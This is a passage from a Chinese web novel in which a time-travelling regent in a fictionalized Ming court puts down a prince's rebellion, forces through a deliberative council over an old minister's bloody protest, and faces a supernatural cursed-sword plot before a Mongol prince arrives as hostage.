“什么?”朱载坖一惊,“多少?”
“二十艘,最大的那艘挂着‘苏’字旗,应该是苏惟山的旗舰。”
苏惟山?那个苏惟瑾的堂兄,福建水师提督?
“他们到哪了?”
“已过镇江,明日就能封锁长江。”
完了。
朱载坖腿一软,瘫在椅子上。
长江一封锁,他这三万人就成了瓮中之鳖。北上?过不了江。南下?福建水师堵着。守城?城里粮草够吃几天?
“还有,”亲兵统领继续说,“广西狼兵,已到安庆。领兵的是个女将,叫瓦氏夫人,说是奉文国公令,‘保护南京’。”
瓦氏夫人?王阳明旧部,广西土司兵,悍勇闻名天下。
朱载坖眼前一黑。
水陆夹击,内外交困。
这还打什么?
……
北京,文华殿。
小皇帝朱载重今天玩的是“地图拼图”——苏惟瑾让人做的,把大明各省做成木块,小孩可以拼着玩。
“陛下,”苏惟瑾躬身,“南京崇王谋逆,臣请旨处置。”
“准。”朱载重头也不抬,专心拼他的江南。
“臣有三策。”苏惟瑾朗声道,“一,命福建水师封锁长江,切断叛军北上之路;二,调广西狼兵东进,威慑南京;三,请陛下下‘赦免诏’——只要崇王罢兵自缚,可保性命,只削爵圈禁。”
殿内安静片刻。
礼部尚书孔闻韶出列:“文国公,崇王谋逆,按律当诛。赦免……是否太宽?”
“孔尚书,”苏惟瑾看着他,“南京有三万守军,加上崇王集结的卫所兵,不下五万。若强攻,死伤几何?南京城毁损几何?百姓遭殃几何?”
“可赦免谋逆,恐开恶例……”
“所以只赦崇王一人。”苏惟瑾淡淡道,“参与将领,视情节或罢或斩。普通士兵,不予追究。这叫惩首恶,赦胁从,安民心。”
孔闻韶想了想,点头:“文国公思虑周全。”
“还有,”苏惟瑾补充,“诏书里要写明:凡放下兵器者,既往不咎。凡擒拿首恶者,**行赏。这诏书一到南京,叛军必人心涣散。”
妙啊。
几个官员暗暗佩服。这招攻心为上,比硬打高明多了。
“准了。”小皇帝终于拼好江南,高兴地拍手。
……
三日后,南京。
崇王朱载坖站在城墙上,看着江面上那二十艘福建水师战船。战船一字排开,炮口对着城墙,黑黝黝的,看着就吓人。
南边,广西狼兵的旗帜已经能看见了。那些土兵穿着奇装异服,手持弯刀,嗷嗷叫着,气势汹汹。
城里,更乱。
赦免诏书昨天就到了,全文张贴,满城皆知。守军士兵三三两两议论,眼神闪烁。将领们分成两派,一派要打,一派要降,差点在崇王府里动刀子。
“王爷,”亲兵统领小声说,“昨夜……跑了三百多人。”
“跑哪去了?”
“不知道,翻城墙跑的。估计是怕秋后算账。”
朱载坖苦笑。
还秋后算账?现在能保住命就不错了。
“报——”一个传令兵狂奔上城墙,“北京又来使节!是……是文国公亲自来了!”
什么?
朱载坖猛地转头。
城下,一支轻骑缓缓而来,大约百人。当先一人,绯色**袍,玉带金冠,正是苏惟瑾。他居然只带这么点人,就敢来南京?
“开……开城门。”朱载坖颤声。
城门缓缓打开。
苏惟瑾策马而入,周大山带着五十亲卫紧随其后。南京街道两旁,士兵、百姓跪了一地,没人敢抬头。
崇王府前,朱载坖已经跪在阶下,双手捧着印信、兵符。
“罪臣朱载坖……恭迎文国公。”
苏惟瑾下马,走到他面前,接过印信。
“
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崇王殿下,”他声音平静,“陛下有诏,削你王爵,圈禁凤阳。你可服?”
“服……服!”朱载坖连连磕头,“罪臣糊涂,罪该万死……”
“参与谋逆的将领,名单。”
朱载坖赶紧递上一份名单。
苏惟瑾扫了一眼,递给周大山:“按名单抓人。首恶七人,斩。从犯十五人,罢官流放。其余,不予追究。”
“是!”
周大山带兵去了。
不过半个时辰,南京城里七颗人头落地,十五个将领被押出城。其余士兵,放下兵器,原地待命——真的不追究。
一场可能血流成河的叛乱,就这么平息了。
朱载坖被押上囚车时,哭得稀里哗啦:“文国公……罪臣的家眷……”
“放心,”苏惟瑾淡淡道,“祸不及妻儿。你府中财物,留三成给家眷过活。其余充公。”
“谢……谢国公爷!”朱载坖涕泪横流。
囚车缓缓驶出南京城。
苏惟瑾站在城墙上,看着这座六朝古都。
夕阳西下,秦淮河上画舫开始点灯,歌女柔媚的唱腔隐隐传来。一场风波,似乎就这么过去了。
可他知道,没有。
火焰缠剑的阴影,还在。
……
十天后,苏惟瑾回到北京。
刚进府门,胡三就迎上来,脸色比上次还难看。
“公子,裕王世子……**。”
苏惟瑾脚步一顿。
“**的?”
“和冯保一样。”胡三声音发抖,“胸口烧穿个洞,心脏……没了。裕王妃当场疯掉,裕王……裕王也不正常了。”
“什么意思?”
“裕王把自己关在祠堂里,不吃不喝,整天念叨一句话。”胡三顿了顿,“他说:‘剑要成了……剑要成了……’”
剑要成了?
宁王陵墓壁画上,道士炼剑的场景,闪过苏惟瑾脑海。
“还有,”胡三从怀里掏出个小布包,小心打开,“这是在裕王世子尸体旁边发现的。”
布包里,是一枚玉扳指。
扳指上,刻着火焰缠剑标记。
而在标记下方,还有一行小字,超频大脑放大才看清:
“下一个,该皇帝了。”
---
南京叛乱迅速平定,崇王倒台,东南安定。可火焰缠剑的威胁却从江湖、朝堂,蔓延到了宗室内部。
裕王世子诡异死亡,裕王疯癫呓语“剑要成了”。那枚玉扳指上的字,更是直指皇宫深处的小皇帝——下一个,该皇帝了。
几乎同时,皇宫传来急报:小皇帝朱载重今日玩耍时,不慎打碎了一个花瓶。破碎的瓷片中,竟然藏着一枚同样的玉扳指,上面刻着火焰缠剑标记,以及更小的一行字:
“祭品已备,只待吉时。”
而更令人毛骨悚然的是,当夜钦天监观星台上,徐光启惊恐地发现:
紫微星旁,不知何时出现了一颗血色小星,光芒如剑,直指帝星——天象示警,大凶之兆!
对手的最终目标,终于浮出水面。而这场游戏,已从权力争夺,升级为生死对决。
苏惟瑾的超频大脑能否破解这跨越百年的邪术阴谋?
小皇帝的性命,又能否保住?
第418章 瑾设议会制,旧文最后一搏
那枚在小皇帝花瓶里发现的玉扳指,此刻正摆在养心殿的御案上。
七岁的朱载重不知道这是什么,只觉得好看,想拿起来玩,被苏惟瑾按住了手。
“陛下,”苏惟瑾声音温和,“这玩意儿脏,咱不要。”
“脏?”小皇帝歪着头,“可它亮晶晶的……”
“越亮的东西,有时候越脏。”苏惟瑾拿起扳指,递给旁边的鹤岑,“国师,能看出来历吗?”
鹤岑接过,仔细端详半晌,脸色越来越白:“国公爷……这扳指上的标记,和之前那些都不一样。”
“怎么不一样?”
“之前的火焰缠剑,火焰在外,剑在内,是‘剑藏火中’。”鹤岑指着扳指,“可这个是火焰包裹剑身,剑尖刺破火焰,是‘剑破火出’——这意味着,那柄‘邪剑’,快要炼成了。”
快要炼成?
苏惟瑾想起裕王疯癫时念叨的那句“剑要成了”。
“炼成之后呢?”
“按邪术记载,”鹤岑声音发颤,“以命炼剑,剑成需祭。祭品越尊贵,剑威越盛。王侯可祭,帝王……最佳。”
帝王最佳。
玉扳指上那句“祭品已备,只待吉时”,说的就是小皇帝。
“怎么防?”苏惟瑾问得干脆。
“难。”鹤岑摇头,“邪剑无形,可隔空夺命。冯保、裕王世子,都是例子。除非……找到持剑之人,毁掉剑身。”
持剑之人?
苏惟瑾脑中闪过一个名字:鬼爪。那个逃掉的**,那个对科技感兴趣的怪人,那个最后消失在亲王街的身影。
“查。”他只说了这一个字,“亲王街每一寸地皮翻过来,也要找到他。”
……
然而,查需要时间。改革,却不能停。
三天后,文华殿朝会。
小皇帝今天玩的是“算盘”——苏惟瑾让人特制的小算盘,珠子五颜六色,小孩拨着玩,顺便学点数。
“陛下,”苏惟瑾出列,“臣有本奏。”
“准。”朱载重头也不抬,专心拨算盘珠子。
“臣请旨,于中央设‘议政院’。”苏惟瑾朗声道,“成员由各省推举,每省二人,暂限官员和士绅。议政院有三权:一,审议财政预算;二,监督官员考成;三,咨询国策建议。”
殿内安静了一瞬。
然后,炸了。
“荒唐!”第一个跳出来的,不是别人,正是礼部尚书**澄。这位老臣今年六十八岁,三朝元老,清流领袖,平时不太说话,可一旦开口,就是重磅。
“文国公!”**澄白胡子直抖,“祖宗之法不可变!议政院之设,实为分皇帝之权,乱朝纲之本!老臣请问,这议政院审议财政预算,那户部何用?监督官员考成,那都察院何用?咨询国策建议,那内阁何用?”
他每问一句,就向前一步,气势逼人。
几个老臣跟着附和:
“**尚书说得对!”
“此乃变相分权!”
“还请文国公三思!”
苏惟瑾静静听着,等他们说完,才缓缓开口:“**大人今年高寿?”
**澄一愣:“六十有八。”
“那**大人为官多少年了?”
“四十六载。”
“四十六年。”苏惟瑾点头,“那**大人应该记得,嘉靖八年,户部预算超支百万两,事后查实,是工部修西苑道观虚报——这事,户部当时审出来了吗?”
**澄语塞。
“嘉靖十一年,浙江巡抚贪墨漕银三十万两,都察院派去的巡按御史,收了五千两银子,报了个‘账目清晰’——这事,都察院监督到位了吗?”
都察院左都御史何鳌脸色一白。
“至于内阁咨询国策,”苏惟瑾扫了一眼御阶下那几位阁老,“蒙古犯边该战该和,吵了三个月没结果;辽东女真该剿该抚,议了半年定不下——这叫有效咨询?”
几个阁老低头不语。
“所以,”苏惟瑾环视全场,“户部审不了细账,都察院督不了贪腐,内阁决不了国策——那设个议政院,帮他们查漏补缺,有何不可?”
“你这是变相**!”**澄咬牙,“议政院若成,皇帝之权分矣!长此以往,国将不国!”
“**?”苏惟瑾笑了,“**大人,本公现在摄政,代行皇权。按您这说法,本公现在已经是‘权臣’了,对吧?”
**澄脸色一变,这话可不能接。
“可本公设议政院,正是为了防止权臣专断。”苏惟瑾慢悠悠道,“议政院审议预算,户部就不能乱花钱;议政院监督官员,都察院就不敢收**;议政院咨询国策,内阁就不能拖沓敷衍——这明明是限制权臣,怎么到**大人嘴里,就成了分皇帝之权?”
他顿了顿,看向**澄,眼神锐利:“还是说,**大人觉得,本公就该独断专行,一个人说了算?嗯?”
最后这个“嗯”字,带着森然寒意。
**澄张了张嘴,一个字说不出来。
反对议政院,就是变相支持苏惟瑾**——这逻辑陷阱,他跳不出去。
“**大人不说话?”苏惟瑾继续逼问,“那本公再问一句:您是希望本公像现在这样,大事小事一把抓,还是希望有个议政院,能帮着监督、制衡?”
满殿寂静。
所有人都看着**澄。
老臣脸色涨红,额头冒汗,半晌,才从牙缝里挤出一句:“老臣……老臣自然是希望……国事稳妥。”
“那就是同意设议政院了。”苏惟瑾微笑,“**大人深明大义。”
“你——”**澄气得浑身发抖,可话已出口,收不回来了。
“还有谁有异议?”苏惟瑾环视全场。
无人应答。
连毛澄都败下阵来,谁还敢上?
“既无异议,”苏惟瑾转身,朝龙椅躬身,“请陛下准奏。”
小皇帝刚学会“一加一等于二”,高兴地抬头:“准了准了!”
“谢陛下。”
……
退朝后,**澄被几个门生搀着,踉跄走出文华殿。
“老师,”一个门生小声劝,“您别气了,文国公那话术……”
“老夫不是气话术,”**澄苦笑,“是气咱们……真的老了。”
他回头看了一眼巍峨的宫殿:“议政院……分权制衡……这苏惟瑾,到底想干什么?”
门生们面面相觑,答不上来。
……
文国公府书房,苏惟瑾正在起草《议政院章程》。
超频大脑调出后世议会制的资料,结合明代实际,一条条细化:议员资格、推举程序、议事规则、权力边界……
正写着,胡三来了,脸色古怪。
“公子,查到了。鬼爪最后消失的地方……是景王府。”
“景王?”苏惟瑾笔尖一顿,“朱载圳?”
“是。裕王的亲弟弟,今年二十五岁,平时低调,好读书,偶尔炼丹修道——跟当年的宁王有点像。”
景王朱载圳,嘉靖的次子,因为非嫡长,没当上太子,封了景王。这人平时深居简出,在宗室里是个小透明。
“他府上有异常吗?”
“有。”胡三压低声音,“咱们的人混进
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去做杂役,发现景王府后院有个密室,夜里常传出……打铁声。”
打铁?
一个亲王,深更半夜打铁?
“还有,”胡三继续道,“景王最近频繁出入白云观——就是那个被咱们查封的,涉嫌白莲教的道观。观里有个老道,是当年宁王府的旧人。”
宁王府旧人,白云观,打铁声,鬼爪……
这些碎片,开始拼凑起来了。
“盯紧。”苏惟瑾沉声道,“但不要打草惊蛇。我要看看,他们到底想炼出什么‘剑’。”
“是。”
胡**下后,苏惟瑾放下笔,走到窗前。
议政院只是个开始,真正的改革还在后面。可火焰缠剑的阴影,像一把悬在头顶的刀,随时可能落下。
他需要时间。
可对手,会给他时间吗?
……
三天后,议政院筹备处正式挂牌。
地址选在原来的礼部宾馆,离皇宫不远。各省推举的议员陆续抵京,有地方官员,有致仕乡绅,还有几个格物学堂出身的“新派”。
第一天议事,就吵翻了天。
山东来的议员说要修黄河堤坝,河南来的说该先赈灾。江南的嚷嚷减赋,江北的喊着增兵。一个个引经据典,吵得面红耳赤。
主持议事的礼部侍郎头疼不已,跑来找苏惟瑾诉苦:“国公爷,这……这议不成事啊!”
“正常。”苏惟瑾淡淡道,“让他们吵。吵一个月,就知道怎么说话了。”
“可国事耽误不起……”
“耽误不了。”苏惟瑾微笑,“吵,总比背后捅刀子强。”
他站在阁楼上,看着下面吵成一团的议员们。
这些人,代表的是地方利益,是士绅诉求。让他们吵,让他们争,最终会形成一个平衡——虽然粗糙,但这是第一步。
从**到分权,从**到协商。
这条路,很长。
可必须走。
正想着,周大山匆匆上楼,脸色铁青。
“公子,出事了。景王府……着火了。”
“着火?”
“不是普通火。”周大山咬牙,“是绿火,扑不灭。整座王府烧成白地,可奇怪的是,府里的人……一个没跑出来。”
“景王呢?”
“尸体找到了,烧成焦炭。”周大山顿了顿,“可仵作验尸时说……那尸体,至少**三个月了。”
**三个月?
那最近出入白云观、在后院打铁的“景王”,是谁?
苏惟瑾瞳孔骤缩。
---
议政院在争吵中艰难起步,**改革迈出关键一步。
可火焰缠剑的阴谋,已发展到骇人听闻的地步。
景王府离奇绿火,焦尸疑死亡三月——这意味着,早有一个“假景王”在活动。而真景王的死,是否也是“炼剑”的一部分?
更诡异的是,火灾现场清理时,发现了一间密室。
密室里没有剑,只有一座丹炉,炉中灰烬里,残留着半枚玉扳指——和小皇帝花瓶里那枚,正好能拼成一对。
扳指内侧,刻着一行新字:
“祭品已齐,吉时将至。七日后,午时三刻,紫微陨落,新剑当立。”
与此同时,钦天监徐光启惊恐来报:那颗血色小星,正在以肉眼可见的速度,逼近紫微帝星。
按轨迹推算,七日后午时三刻,两星将重合——天象示警,大凶之期!
对手给出了最后通牒。苏惟瑾只有七天时间,破解这跨越百年的邪剑阴谋,否则小皇帝性命不保。
而这场对决,将决定大明的未来,究竟走向何方。
第419章 **澄死谏祸,瑾借势立威
景王府那场蹊跷的绿火烧了整整一夜。
等到天明时分,整座王府已化为白地,连砖石都烧得酥脆,一碰就碎。更邪门的是,周遭百姓都说昨夜没听见半点呼救声——那么大一座王府,上百号人,就跟凭空蒸发似的。
“公子,”周大山蹲在废墟里,用刀尖拨拉着灰烬,“这火……不对劲。”
苏惟瑾站在焦土中央,超频大脑正在疯狂分析现场数据。
燃烧温度、残留物质、热辐射范围……所有数据都指向一个结论:这不是寻常火灾。温度太高,高到能在瞬间碳化人体;燃烧太彻底,连金属器皿都熔成了坨。
“是那柄‘剑’。”鹤岑的声音在颤抖,“火焰缠剑……剑成之时,需以血肉为祭。景王府这上百条人命,就是最后的祭品。”
“剑在哪儿?”
“不知。”鹤岑摇头,“邪剑无形,炼成之后,可寄于人身,可藏于虚空。持剑者……恐怕已经混进人群了。”
苏惟瑾盯着灰烬中那半枚玉扳指。
七天。
玉扳指上那句“七日后,午时三刻,紫微陨落”,像一道催命符。小皇帝的命,只剩下七天。
可眼下,还有更急的事要处理。
……
三日后,文华殿朝会。
小皇帝朱载重今天没玩玩具——是苏惟瑾特意吩咐的。七岁的孩子似乎也感受到朝堂上压抑的气氛,老老实实坐在龙椅上,小手紧紧抓着扶手。
“陛下,”苏惟瑾出列,“议政院筹备已毕,各省议员昨日全部抵京。臣请旨,明日举行开院大典。”
话音落,殿内死寂。
所有官员都低着头,眼观鼻,鼻观心。自打景王府那场邪火之后,京里谣言四起,说什么的都有。有说苏惟瑾遭了天谴的,有说那火焰缠剑是前朝冤魂索命的,更有甚者,悄悄传言“文国公气数将尽”。
可没人敢公开说。
直到一个苍老的声音响起。
“老臣……反对!”
**澄颤巍巍出列。这位六十八岁的礼部尚书,今日特意穿了身崭新的绯红仙鹤补服,手持**笏板,腰杆挺得笔直——可仔细看,能看见他袖子在微微发抖。
“**大人又有何高见?”苏惟瑾语气平淡。
“高见不敢!”**澄昂首,白胡子一翘一翘,“老臣只想问文国公一句:设议政院,分皇帝之权,乱祖宗之法——此等行径,与曹操、王莽何异?!”
这话太重了。
曹操、王莽,那是史书上有名的权臣、篡位者。
殿内响起一片吸气声。
连小皇帝都听懂了,吓得往龙椅里缩了缩。
苏惟瑾却笑了。
他缓步走到**澄面前,两人相距不过三步:“**大人说本公是曹操、王莽?”
“老臣不敢指名道姓!”**澄硬着脖子,“但行曹操王莽之事者,自当与曹王同论!”
“好。”苏惟瑾点头,“那本公问你,曹操挟天子以令诸侯,王莽篡汉自立——本公是挟持了陛下,还是篡了皇位?”
“你……”
“陛下如今安居宫中,锦衣玉食,本公每日晨昏定省,奏事请旨——这叫挟持?”苏惟瑾逼进一步,“皇位依旧是朱家的,太子依旧是太子——这叫篡位?”
**澄被噎得脸色发白。
“反倒是**大人你,”苏惟瑾声音转冷,“朝堂之上,公然将摄政国公比作逆臣贼子——你这是要离间君臣,还是要动摇国本?!”
“老臣……老臣一片忠心!”
“好一个忠心!”苏惟瑾冷笑,“那你告诉本公,议政院审议预算,防的是户部贪墨;监督官员,防的是吏治**;咨询国策,防的是内阁怠政——这哪一条,不是为国为民?哪一条,不是巩固皇权?!”
他每说一句,声音就高一分。
**澄步步后退,脸色由白转红,由红转青。
“你口口声声祖宗之法,”苏惟瑾最后喝道,“那我问你,洪武爷设内阁,是不是变法?永乐爷迁都北京,是不是变法?祖宗能变,为何本公不能变?!”
“你……你强词夺理!”**澄浑身发抖。
“是你无理取闹!”苏惟瑾拂袖,“今日之事,本公念你年老昏聩,不予追究。退下!”
照理说,话到这儿就该结束了。
**澄该退就退,虽然丢脸,但至少保住官身。
可这老头子,偏偏选了最绝的一条路。
他站定了。
站在大殿中央,站在百官面前,站在小皇帝和苏惟瑾之间。
然后,他笑了。
那笑容惨然,带着绝望,带着决绝。
“文国公既然执意变法,”**澄缓缓道,“老臣无力阻拦。唯有……以死明志!”
话音落,他猛地转身,朝着殿中那根蟠龙金柱,一头撞去!
“**大人!”
“拦住他!”
惊呼声四起。
可太迟了。
“砰——!”
闷响。
血花溅起。
**澄整个人瘫倒在金柱下,额头血肉模糊,鲜血顺着脸颊流淌,染红了那身崭新的绯红补服。
殿内大乱。
几个老臣扑上去,哭喊着“**公”。小皇帝吓得尖叫,被太监紧紧抱住。百官乱作一团,有人惊呼,有人窃语,更多人脸色惨白。
只有苏惟瑾,站在原地,一动不动。
他看着**澄倒下的身影,看着那摊蔓延的鲜血,看着混乱的朝堂。
超频大脑在瞬间完成分析:撞击角度、力度、出血量……死不了,但重伤。这老头子算好了力道,既要见血,又要留命。
苦肉计。
用一条老命,赌一个名声,赌朝野**,赌他苏惟瑾不敢再逼。
好算计。
可惜,算错了人。
“传太医。”苏惟瑾开口,声音平静得可怕。
两个太医连滚爬爬进来,七手八脚把**澄抬下去。血拖了一地,触目惊心。
殿内渐渐安静下来。
所有人都看着苏惟瑾。
想看他惊慌,看他失措,看他如何收场。
可他们看到的,只是一张平静的脸。
“**大人以死阻新政,”苏惟瑾缓缓开口,声音清晰传到每个人耳中,“其心可诛。”
八个字,定下调子。
不是忠臣死谏,是居心叵测。
“然本公念其年老,不予追究。”他顿了顿,目光扫过台下,“但有一言,今日告与诸位。”
死寂。
连呼吸声都轻了。
“变法者,非为权,而为国。”苏惟瑾一字一句,“若有以死相胁便可阻变革,则商鞅车裂、王安石罢相,皆为前鉴。可秦因商鞅而强,宋因安石而富——**一个人,变了一国运。这账,怎么算?”
他走下御阶,走在百官队列之间。
“本公今日明言:议政院必设,新政必行!有异议者——”
他停步,转身。
“可辞官归田,本公赠银百两,以全名节。”
这话说得客气,可听在官员耳里,字字如刀。辞官?赠银百两?那是打发叫花子!
“若阳奉阴违、暗中阻挠……”
苏惟瑾的目光,缓缓扫过每一张脸。
最后,吐出六个字:
“诏狱尚有空位。”
杀气凛然。
满殿寂然。
连那几个还想为**澄说话的老臣,此刻也闭紧了嘴。诏狱……那地方进去容易,出来难。严嵩父子还在里头熬着呢,成国公朱麟上个月“病逝”了
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,**的,谁不知道?
“退朝。”
苏惟瑾转身,不再看任何人。
……
第二天,十三封乞骸骨的奏章,摆在文国公府书桌上。
都是昨天在朝堂上脸色最白的那几位:礼部右侍郎、都察院左副都御史、翰林院侍读学士……清一色的老臣,清一色的“旧文人”。
苏惟瑾一份份批阅。
准。
准。
准。
全部照准。
接着,他拿出另一份名单——是胡三早就准备好的,上面列着三十多个名字:格物学堂出身的年轻官员,在地方有政绩的干吏,还有几个虽然资历浅但脑子活的“新派”。
“大山,”他吩咐,“按名单,提拔。空缺的位置,一个不留,全部填上。”
“是!”
周大山咧嘴笑了。他最喜欢干这种事儿,痛快。
短短三日,朝堂格局焕然一新。
老臣退,新人上。议政院顺利开院,第一批议案开始审议——虽然吵得厉害,但至少,动了。
……
第七日,午时前一刻。
紫禁城,乾清宫。
小皇帝朱载重被里三层外三层的护卫围着,鹤岑在殿内布下七七四十九道符咒,周大山亲自持刀守在门口。
苏惟瑾站在殿外台阶上,仰头看天。
午时三刻,太阳最烈的时候,也是那玉扳指上说的“吉时”。
超频大脑调出天文数据:今日午时三刻,京师地区,天象无异常。没有日食,没有星变,什么都没有。
可他知道,对手要动手,不一定靠天象。
“公子,”胡三匆匆而来,压低声音,“查到了。景王府那场火之前,有人看见……一个铁面人进出王府。”
“鬼爪?”
“应该是他。但奇怪的是,火起之后,他就消失了。咱们的人搜遍京城,没找到。”
苏惟瑾皱眉。
鬼爪,铁面人,**,对科技感兴趣……现在又和火焰缠剑扯上关系?
这人到底是谁?
正想着,殿内突然传来鹤岑的惊呼:
“来了!”
苏惟瑾猛地转身。
只见乾清宫殿顶上方,凭空出现一团火光!
不是普通的火,是黑色的火焰,熊熊燃烧,却不见热浪。火焰中心,隐约可见一柄剑的轮廓——剑身赤红,剑柄漆黑,火焰如蛇缠绕。
邪剑!
它真的来了!
“护驾!”周大山暴喝。
护卫们齐齐举盾,将小皇帝围在中央。
可那柄剑,并没有刺向小皇帝。
它在空中盘旋一周,然后——
直冲苏惟瑾而来!
---
**澄死谏风波刚平,朝堂完成大换血。可火焰缠剑的致命威胁,却在第七日午时如期而至。
邪剑现身乾清宫,却出乎意料地直刺苏惟瑾而来!
这柄以宁王之命炼制、吞噬了景王府上百条人命的邪物,为何不按预言刺杀皇帝,反而将目标锁定苏惟瑾?
千钧一发之际,苏惟瑾的超频大脑疯狂预警,可血肉之躯如何抵挡这无形邪剑?
生死关头,他怀中那朵黑色火焰花突然自动飞出,花瓣绽放,竟与空中邪剑产生诡异共鸣!
更令人震惊的是,邪剑刺到苏惟瑾身前三尺时,突然停住。
剑身震颤,发出凄厉鸣响,仿佛在恐惧什么。
而苏惟瑾此刻才感觉到,自己胸口不知何时浮现出一个灼热的印记——正是火焰缠剑的图案,却与玉扳指上的略有不同:火焰在外,剑在内,剑尖指向……他自己的心脏。
原来,祭品从来就不止一个。这场跨越百年的邪术阴谋,目标从一开始,就包括了这位“改变历史”的穿越者。而真相,即将揭晓。
第420章 互市初见效,蒙古贵子来
那柄火焰缠剑停在苏惟瑾胸口前三尺,剑身震颤,黑焰吞吐,发出尖锐如婴啼的鸣响。
苏惟瑾站在原地,纹丝不动。他胸口那个灼热印记此刻正疯狂跳动,像一颗被唤醒的心脏,与空中的邪剑产生着诡异的共鸣。
怀中的黑色火焰花自动飞出,悬浮在他与剑之间。花瓣缓缓绽放,每一片都燃烧着幽暗的火光,花蕊处那柄微小玉剑开始旋转,发出细密的嗡嗡声。
“公子!”周大山就要冲过来。
“别动!”鹤岑厉声喝止,“它们在……对话!”
对话?
苏惟瑾盯着眼前这诡异景象。超频大脑疯狂运转,分析着每一种可能:共振频率、能量波动、信息编码……这根本不是剑,至少不完全是。它更像是一种能量体,一种被特殊方式“编程”过的能量体。
而那朵黑色火焰花,是接收器?
“剑尖指向你的心脏,”鹤岑声音发颤,“国公爷,您胸口那印记……恐怕是‘剑种’。”
“什么意思?”
“以命炼剑,需在活人体内种下‘剑种’,待剑成之日,剑种为引,邪剑归位。”鹤岑惨然,“您……您也是祭品之一!”
苏惟瑾瞳孔骤缩。
祭品?他自己?
可为什么是现在才发作?为什么剑要等这么久?
就在这时,邪剑突然动了。
不是刺向他,而是缓缓后退,在空中划出一道诡异的弧线。黑焰收敛,剑身逐渐透明,最终化作一缕青烟,消散在午后的阳光下。
仿佛什么都没发生过。
只有那朵黑色火焰花,“啪”地一声轻响,碎裂成粉末,随风飘散。
苏惟瑾胸口那灼热印记,也渐渐冷却,隐入皮肤之下。
“结……结束了?”周大山咽了口唾沫。
“不。”苏惟瑾低头看着自己胸口,“是暂停。”
他明白了。
邪剑不是不能杀他,而是……还没到杀他的时候。剑种在他体内,就像一枚定时**,时间到了才会引爆。
而引爆的条件是什么?
**。
但他知道,时间不多了。
……
道历二年,秋。
距离乾清宫那场诡异对峙,已过去整整一年。
这一年里,苏惟瑾做了三件事。
第一,将小皇帝朱载重的护卫等级提到最高,十二个时辰不离人,寝宫周围埋设了鹤岑特制的“驱邪符阵”——虽然不知道有没有用,但求个心安。
第二,在全国范围内,秘密搜查所有与“火焰缠剑”“宁王”“邪剑”相关的线索。胡三的情报网撒出去,带回来的消息零零碎碎:江西有座废弃道观地下挖出类似符咒,陕西有个老铁匠说祖上曾为“王府”打过奇形兵器,云南边境甚至有土司声称见过“会飞的剑”……
第三,也是最重要的事——继续推行新政。
议政院吵吵嚷嚷运行了一年,虽然效率低下,但至少让地方利益有了发声渠道。格物学堂在各省铺开,专利司颁发了第一张“蒸汽机”专利——虽然只是雏形,只能用于矿山排水,但意义重大。
而今天,文华殿朝会,要迎来一位特殊客人。
“陛下,”兵部尚书杨博出列,声音里带着掩饰不住的兴奋,“大同急报:蒙古鞑靼部首领俺答汗,遣使请求扩大边境互市,并送其幼子脱脱入京‘学习礼仪’!”
殿内先是一静,然后“轰”地炸开了。
“质子!蒙古人送质子来了!”
“这可是开国以来头一遭啊!”
“文国公的互市政策,真成了!”
连一向稳重的孔闻韶都忍不住捻须微笑:“此乃教化之功,教化之功啊!”
苏惟瑾站在御阶下,面色平静。
超频大脑调出数据:道历元年至今,大同互市贸易额增长三倍,蒙古方面出口马匹下降四成,羊毛出口增长十倍。茶叶、丝绸、瓷器、铁锅(限量)源源不断流入草原,而草原的战马,正被绵羊取代。
经济殖民的第一步,成了。
“使者何时抵京?”他问。
“三日后。”杨博躬身,“脱脱小王子年方八岁,随行有乳母、护卫二十人。俺答汗书信中说,愿其子‘**汉礼,读诗书,明事理’。”
“好。”苏惟瑾转身,朝龙椅上的小皇帝躬身,“陛下,蒙古质子入京,乃北疆安定之兆。臣请旨,赐其汉名,入国子监读书,与宗室子弟同住。”
“准。”已经八岁的小皇帝朱载重,说话比一年前利索多了。他今天没玩玩具,正襟危坐,倒有几分皇帝的样子。
……
三日后,北京永定门外。
蒙古使团到了。
领队的是俺答汗的堂弟巴特尔,一个四十来岁的蒙古汉子,膀大腰圆,满脸横肉,但眼神精明。他身后跟着一辆马车,帘子掀开,露出一个虎头虎脑的男孩——正是脱脱。
这孩子穿着蒙古袍子,小脸晒得黝黑,一双眼睛又大又亮,好奇地打量着城门口熙熙攘攘的人群。
“乖乖,”路边卖糖葫芦的老汉咂舌,“这就是蒙古王子?看着跟咱们乡下小子差不多嘛。”
“你懂个屁!”旁边卖烧饼的汉子低声道,“这可是质子!往后得在咱们京城当人质,蒙古人就不敢乱来了!”
巴特尔听不懂汉话,但能感受到周围百姓的好奇和……一丝轻蔑。他皱了皱眉,翻身下马,用生硬的汉话对迎接的礼部官员说:“奉俺答汗命,送王子脱脱入京。”
礼部侍郎拱手:“请。”
车队缓缓入城。
脱脱趴在车窗上,眼睛瞪得溜圆。他这辈子没见过这么高的城墙,这么宽的街道,这么多的人。那些花花绿绿的招牌,那些香气扑鼻的小吃,那些穿着长衫摇着扇子的读书人……一切都让他眼花缭乱。
“巴特尔叔叔,”他小声问,“咱们以后就住这儿?”
“住一阵子。”巴特尔摸摸他的头,“你得在这儿读书,学汉人的规矩。”
“我不想读书。”脱脱撇嘴,“我想骑马,想射箭。”
“以后再说。”巴特尔叹口气。
他心里清楚,这孩子进了北京城,这辈子恐怕就回不去草原了。可没办法,部落需要大明的茶叶、铁锅、布匹,需要互市带来的银子。送一个王子,换整个部落的富足,这买卖,俺答汗算得明白。
……
文华殿接见,安排在次日。
脱脱换了身礼部准备的汉服——蓝色圆领袍,有点大,穿在身上松松垮垮。他被巴特尔牵着,一步步走进大殿。
这是他第一次见到这么多“大官”。黑压压两排人,一个个穿着红红绿绿的袍子,戴着奇怪的帽子,眼神齐刷刷盯着他。
脱脱有点怕,往巴特尔身后缩了缩。
“别怕。”巴特尔低声道,“往前走,磕头。”
两人走到御阶前,跪下。
“蒙古鞑靼部使者巴特尔,携王子脱脱,叩见大明皇帝陛下——”
声音在大殿里回荡。
小皇帝朱载重坐在龙椅上,好奇地看着下面那个和自己差不多大的蒙古孩子。他清了清嗓子,照着旁边太监教的词儿说:“平身。”
“谢陛下。”
两人站起来。
苏惟瑾从御阶旁走出,缓步来到脱脱面前。他打量着这个蒙古小王子:个子比同龄汉人孩子壮实,眼神里有野性,也有怯意。
“脱脱,”他开口,声音温和,“你父亲送你来大明,是希望你学什么?”
脱脱抬头看着这个穿绯色**袍的年轻人,觉得他比那些老头子好看多了,小声说:“学……学规矩。”
“除了规矩呢?”
“……不知道。”
